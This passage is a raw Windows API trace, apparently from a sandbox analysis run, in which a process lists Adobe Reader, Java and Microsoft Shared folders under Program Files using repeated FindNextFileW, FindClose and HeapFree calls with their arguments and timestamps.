lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0274.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.269] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0274.269] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0274.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.269] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1 [0274.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0274.272] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0274.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.272] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 1 [0274.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.273] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0274.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.273] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0274.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.274] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0274.274] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0274.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.274] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e00a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdobeHunspellPlugin.dll", cAlternateFileName="ADOBEH~1.DLL")) returned 1 [0274.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.276] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0274.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.278] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0274.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.278] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0274.278] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0274.279] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.279] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Dummy.aff", cAlternateFileName="")) returned 1 [0274.279] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.279] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0274.279] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.279] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0274.279] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.279] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0274.280] FindClose (in: hFindFile=0x6ebab0 | out: hFindFile=0x6ebab0) returned 1 [0274.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.280] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 0 [0274.280] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0274.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0274.280] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 0 [0274.280] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0274.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.280] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 0 [0274.280] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0274.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0274.282] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0274.282] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0274.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.283] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0274.283] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0274.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.646] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0274.646] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0274.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.646] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 0 [0274.646] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0274.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0274.647] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0274.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.647] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0274.647] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0274.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0274.647] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0274.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.647] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ink", cAlternateFileName="")) returned 1 [0274.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.649] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0274.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.649] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0274.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.650] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0274.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.650] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0274.650] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0274.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.650] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0274.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.650] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0274.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.651] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0274.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.652] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0274.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.652] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0274.652] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0274.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.652] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0274.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.653] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, 